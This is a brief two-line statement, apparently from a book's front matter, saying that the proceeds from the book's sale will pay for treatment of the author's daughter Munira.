The proceeds from the sale of this book
will be used to treat my daughter Munira